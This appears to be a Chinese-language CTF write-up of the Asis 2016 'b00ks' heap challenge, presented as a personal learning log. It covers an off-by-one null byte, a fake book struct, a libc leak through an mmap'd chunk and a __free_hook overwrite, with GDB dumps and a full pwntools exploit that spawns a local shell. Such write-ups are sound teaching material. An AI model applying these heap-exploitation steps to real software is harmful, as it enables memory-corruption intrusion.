这是我在学习堆利用时的例题,因为libc版本的原因,例题的exp完全不适用于我的系统,并且我看不太懂Wiki上的解析,导致我受挫了很多次
通过不断的试错,我最终搞明白了其中的原理,泄露出了“libc_base”,但是被“libc-2.29.so以及后续版本”中的保护机制给卡了一下,get不了shell
在不断的调试中,我的GDB用得越来越熟练了,算是受益匪浅吧
Asis_2016_b00ks
循环输入
64位,dynamically,开了NX,开了PIE,开了Full RELRO
代码分析
先输入“name”,最多“read”32字节到“off_202018”中,接着就是进入选项了
1.Create a book:
输入“书名长度”,“书名”,“描述长度”,“描述”,最后malloc一个list来存储信息
2.Delete a book:
把“书名长度”,“书名”,“描述长度”,“描述”都free了,但只置空了list的指针
3.Edit a book:
可以修改“描述”
4.Print book detail:
打印信息
5.Change current author name:
修改“name”
入侵思路
程序可以修改“description”,那么就要围绕“description”来打,首先搭好框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| def create(len_book,bookname,len_description,description): p.sendlineafter('> ','1') p.sendlineafter('Enter book name size: ',str(len_book)) p.sendlineafter('(Max 32 chars): ',bookname) p.sendlineafter('description size: ',str(len_description)) p.sendlineafter('description: ',description)
def free(index): p.sendlineafter('> ','2') p.sendlineafter('delete: ',str(index)) def change(index,description): p.sendlineafter('> ','3') p.sendlineafter('want to edit: ',str(index)) p.sendlineafter('book description: ',description)
def show(): p.sendlineafter('> ','4') def change_name(name): p.sendlineafter('> ', '5') p.sendlineafter(': ', name)
|
程序对于堆溢出有所防范:“description”和“bookname”都是没有堆溢出的
但是“name”的输入却溢出了一字节,这里先看看list中的信息:
1 2 3 4 5 6 7 8 9
| if ( list ) { *(list + 6) = len; *(list_addr + index) = list; *(list + 2) = description; *(list + 1) = bookname; *list = ++id; return 0LL; }
|
1 2 3 4 5 6 7
| struct list { int id; char *bookname; char *description; int size; }
|
先用GDB看看“name”的位置,和“name”附近有什么
在“name”中输入“flag”,然后“search flag”:
1 2 3 4 5 6 7 8 9 10
| pwndbg> search -s flag b00ks 0x555555602040 0x67616c66 /* 'flag' */ libc-2.31.so 0x7ffff7dd938b 0x5f5f007367616c66 /* 'flags' */ libc-2.31.so 0x7ffff7ddbf01 0x5f5f007367616c66 /* 'flags' */ libc-2.31.so 0x7ffff7ddc336 0x7563007367616c66 /* 'flags' */ libc-2.31.so 0x7ffff7f77de0 0x6f4e007367616c66 /* 'flags' */ libc-2.31.so 0x7ffff7f7ec06 'flags & PRINTF_FORTIFY) != 0' ld-2.31.so 0x7ffff7ff5213 0x642f002967616c66 /* 'flag)' */ ld-2.31.so 0x7ffff7ff5d3e 'flag value(s) of 0x%x in DT_FLAGS_1.\n' ld-2.31.so 0x7ffff7ff6745 'flags & DL_LOOKUP_RETURN_NEWEST)'
|
再打印这个地址:
1 2 3 4 5 6
| pwndbg> x/20xg 0x555555602040 0x555555602040: 0x0000000067616c66 0x0000000000000000 0x555555602050: 0x0000000000000000 0x0000000000000000 0x555555602060: 0x00005555556036f0 0x0000000000000000 0x555555602070: 0x0000000000000000 0x0000000000000000 0x555555602080: 0x0000000000000000 0x0000000000000000
|
只有一个“0x00005555556036f0”,就是“list_addr”(用于存放malloc的list地址)
程序故意把“输入字符串”的末尾设置为“\x00”,但“name”的“\x00”溢出到“list_addr”中了,如果这时申请一个“list”,这时它的写入地址就会存入“list_addr”中,从而覆盖掉“\x00”,就可以利用“printf”打印了
1 2 3 4 5 6 7 8
| p.recvuntil('Enter author name: ') payload='a'*32 p.sendline(payload)
create(0xe0, 'aaaa', 0xe0, 'bbbb') show() p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') list1_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
|
那么接着干什么呢?还是要围绕“description”来打
1 2 3 4 5
| pwndbg> x/20gx 0x555555602040 0x555555602040: 0x0000786b6b687779 0x0000000000000000 0x555555602050: 0x0000000000000000 0x0000000000000000 0x555555602060: 0x00005555556036f0 0x0000000000000000 0x555555602070: 0x0000000000000000 0x0000000000000000
|
“0x00005555556036f0”为第一个list,它的低字节是可以被“name”给覆盖的
1 2 3 4 5
| pwndbg> x/20gx 0x555555602040 0x555555602040: 0x6161616161616161 0x6161616161616161 0x555555602050: 0x6161616161616161 0x6161616161616161 0x555555602060: 0x0000555555603600 0x0000000000000000 0x555555602070: 0x0000000000000000 0x0000000000000000
|
“0x00005555556036f0”变为了“0x0000555555603600”
这样,程序就会以为“0x0000555555603600”是第一个list
再分析下heap空间:
1 2 3 4 5
| pwndbg> x/20xg 0x555555602040 0x555555602040: 0x0000786b6b687779 0x0000000000000000 0x555555602050: 0x0000000000000000 0x0000000000000000 0x555555602060: 0x00005555556036f0 0x0000555555603760 0x555555602070: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x5555556036a0: 0x0000000000000000 0x0000000000000021 0x5555556036b0: 0x0000000071717171 0x0000000000000000 0x5555556036c0: 0x0000000000000000 0x0000000000000021 0x5555556036d0: 0x0000000077777777 0x0000000000000000 0x5555556036e0: 0x0000000000000000 0x0000000000000031 0x5555556036f0: 0x0000000000000001 0x00005555556036b0 0x555555603700: 0x00005555556036d0 0x0000000000000004 0x555555603710: 0x0000000000000000 0x0000000000000021 0x555555603720: 0x0000000065656565 0x0000000000000000 0x555555603730: 0x0000000000000000 0x0000000000000021 0x555555603740: 0x0000000072727272 0x0000000000000000 0x555555603750: 0x0000000000000000 0x0000000000000031 0x555555603760: 0x0000000000000002 0x0000555555603720 0x555555603770: 0x0000555555603740 0x0000000000000004 0x555555603780: 0x0000000000000000 0x0000000000020881
|
如果这样“create list1”,“create list2”,编辑“list_1_description”输入以下数据:
1 2 3 4
| create(0xe0, 'aaaa', 0xe0, 'bbbb') create(0x21000, 'cccc', 0x21000, 'dddd') payload = 'a' * 0x60 + p64(1) + p64(book2_control_ptr + 8) * 2 + p64(0x1000) change(1,payload)
|
那么会生成以下的heap空间:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| pwndbg> x/60xg 0x55c18a470390 0x55c18a470390: 0x0000000000000000 0x00000000000000f1 0x55c18a4703a0: 0x6161616161616161 0x6161616161616161 0x55c18a4703b0: 0x6161616161616161 0x6161616161616161 0x55c18a4703c0: 0x6161616161616161 0x6161616161616161 0x55c18a4703d0: 0x6161616161616161 0x6161616161616161 0x55c18a4703e0: 0x6161616161616161 0x6161616161616161 0x55c18a4703f0: 0x6161616161616161 0x6161616161616161 0x55c18a470400: 0x0000000000000001 0x000055c18a4704c8 0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000 0x55c18a470420: 0x0000000000000000 0x0000000000000000 0x55c18a470430: 0x0000000000000000 0x0000000000000000 0x55c18a470440: 0x0000000000000000 0x0000000000000000 0x55c18a470450: 0x0000000000000000 0x0000000000000000 0x55c18a470460: 0x0000000000000000 0x0000000000000000 0x55c18a470470: 0x0000000000000000 0x0000000000000000 0x55c18a470480: 0x0000000000000000 0x0000000000000031 0x55c18a470490: 0x0000000000000001 0x000055c18a4702b0 0x55c18a4704a0: 0x000055c18a4703a0 0x00000000000000e0 0x55c18a4704b0: 0x0000000000000000 0x0000000000000031 0x55c18a4704c0: 0x0000000000000002 0x00007fee78052010 0x55c18a4704d0: 0x00007fee78030010 0x0000000000021000 0x55c18a4704e0: 0x0000000000000000 0x000000000001fb21
|
// 因为“list2”的“bookname”和“description”很大,所以用mmap函数进行调用
可以发现,如果用“name”把“list_1”尾字节覆盖为“\x00”,程序就会把“fake_list”识别为“list_1”,接着如果用“show”打印,就可以泄露写入的数据
其中“bookname2”会被泄露出来,而“bookname2”是用mmap函数申请的
这里有一个知识:
1 2 3 4 5 6 7 8 9 10 11 12 13
| pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x563fc9c00000 0x563fc9c02000 r-xp 2000 0 /home/ywhkkx/桌面/b00ks 0x563fc9e01000 0x563fc9e02000 r--p 1000 1000 /home/ywhkkx/桌面/b00ks 0x563fc9e02000 0x563fc9e03000 rw-p 1000 2000 /home/ywhkkx/桌面/b00ks 0x563fcb86d000 0x563fcb88e000 rw-p 21000 0 [heap] 0x7ff6d3dcf000 0x7ff6d3e13000 rw-p 44000 0 [anon_7ff6d3dcf] 0x7ff6d3e13000 0x7ff6d3e38000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ff6d3e38000 0x7ff6d3fb0000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ff6d3fb0000 0x7ff6d3ffa000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x7ff6d3ffa000 0x7ff6d3ffb000 ---p 1000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so ------------------------------------------------------------------------- [+] bookname2 >>0x7ff6d3df1010
|
bookname2(0x7ff6d3df1010):第一次用mmap函数获取的地址
/usr/lib/x86_64-linux-gnu/libc-2.31.so(0x7ff6d3e13000):libc基址
1 2 3 4 5
| In [4]: 0x7ff6d3e13000-0x7ff6d3df1010 Out[4]: 139248
In [5]: hex(139248) Out[5]: '0x21ff0'
|
两者的差值是一个常数(不同的libc文件偏移不同,甚至可能是负数,需要用GDB看)
那么“libc_base”就可以被计算出来,就可以用“free_hook”来get shell了
1 2 3 4 5 6 7 8 9 10 11
| libc_base = bookname2 + 0x21ff0 success('libc_base >>'+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system'] bin_sh = libc_base + libc.search('/bin/sh').next() success('system >>'+hex(system))
change(1, p64(bin_sh) + p64(free_hook)) change(2, p64(system)) free(2)
|
编辑“list_1_description”,实际上写入了“list_2”
1 2 3
| 0x55c18a470400: 0x0000000000000001 0x000055c18a4704c8 0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000 0x55c18a470420: 0x0000000000000000 0x0000000000000000
|
1 2 3
| 0x55c18a4704c0: 0x0000000000000002 addr("/bin/sh") 0x55c18a4704d0: addr(free_hook) 0x0000000000021000 0x55c18a4704e0: 0x0000000000000000 0x000000000001fb21
|
编辑“list_2_description”,在“free_hook”中写入“system”
执行“free(2)”时,就会执行“free_hook”挂钩的函数“system”
而“list_2”的“list_addr + 8”中被写入了”/bin/sh”,这里就相当于执行了“ system(“/bin/sh”) ”
当然用“one_gadget”也可以:
1 2 3 4 5 6 7 8 9 10 11
| libc_base = bookname2 + 0x21ff0 success('libc_base >> '+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] one_gadget = libc_base + 0xe6c81
success('one_gadget >> '+hex(one_gadget))
change(1, p64(0) + p64(free_hook)) change(2, p64(one_gadget)) free(2)
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import*
p=process('./b00ks') elf=ELF('./b00ks') libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
def create(len_book,bookname,len_description,description): p.sendlineafter('> ','1') p.sendlineafter('Enter book name size: ',str(len_book)) p.sendlineafter('(Max 32 chars): ',bookname) p.sendlineafter('description size: ',str(len_description)) p.sendlineafter('description: ',description)
def free(index): p.sendlineafter('> ','2') p.sendlineafter('delete: ',str(index)) def change(index,description): p.sendlineafter('> ','3') p.sendlineafter('want to edit: ',str(index)) p.sendlineafter('book description: ',description)
def show(): p.sendlineafter('> ','4') def change_name(name): p.sendlineafter('> ', '5') p.sendlineafter(': ', name) p.recvuntil('Enter author name: ') payload='a'*32 p.sendline(payload)
create(0xe0, 'aaaa', 0xe0, 'bbbb') show() p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') list1_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) list2_addr=list1_addr+0x30
success("list1_addr >> "+hex(list1_addr)) success("list2_addr >> "+hex(list2_addr))
create(0x21000, 'cccc', 0x21000, 'dddd') payload = 'a' * 0x60 + p64(1) + p64(list2_addr + 8) * 2 + p64(0x1000) change(1,payload)
change_name('a'*0x20) show() p.recvuntil('Name: ') bookname2 = u64(p.recv(6).ljust(8, '\x00')) success('bookname2 >> '+hex(bookname2))
libc_base = bookname2 + 0x21ff0 success('libc_base >> '+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] one_gadget = libc_base + 0xe6c81 system = libc_base + libc.sym['system'] bin_sh = libc_base + libc.search('/bin/sh').next() success('system >> '+hex(system))
change(1, p64(bin_sh) + p64(free_hook)) pause() change(2, p64(one_gadget)) free(2)
p.interactive()
|
1 2 3 4 5
| [+] list1_addr >> 0x563929e21490 [+] list2_addr >> 0x563929e214c0 [+] bookname2 >> 0x7fc022a21010 [+] libc_base >> 0x7fc022a43000 [+] system >> 0x7fc022a98410
|
PS:
本程序服务器的libc版本为“libc-2.23.so”可以利用这种方式来打
但“libc-2.29.so”以后假如了两行代码:
1 2
| if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating");
|
如果“list_2”的“presize”不等于“list_1”的“size”,程序就会报错
导致以下代码没法执行:
1
| change(1, p64(bin_sh) + p64(free_hook))
|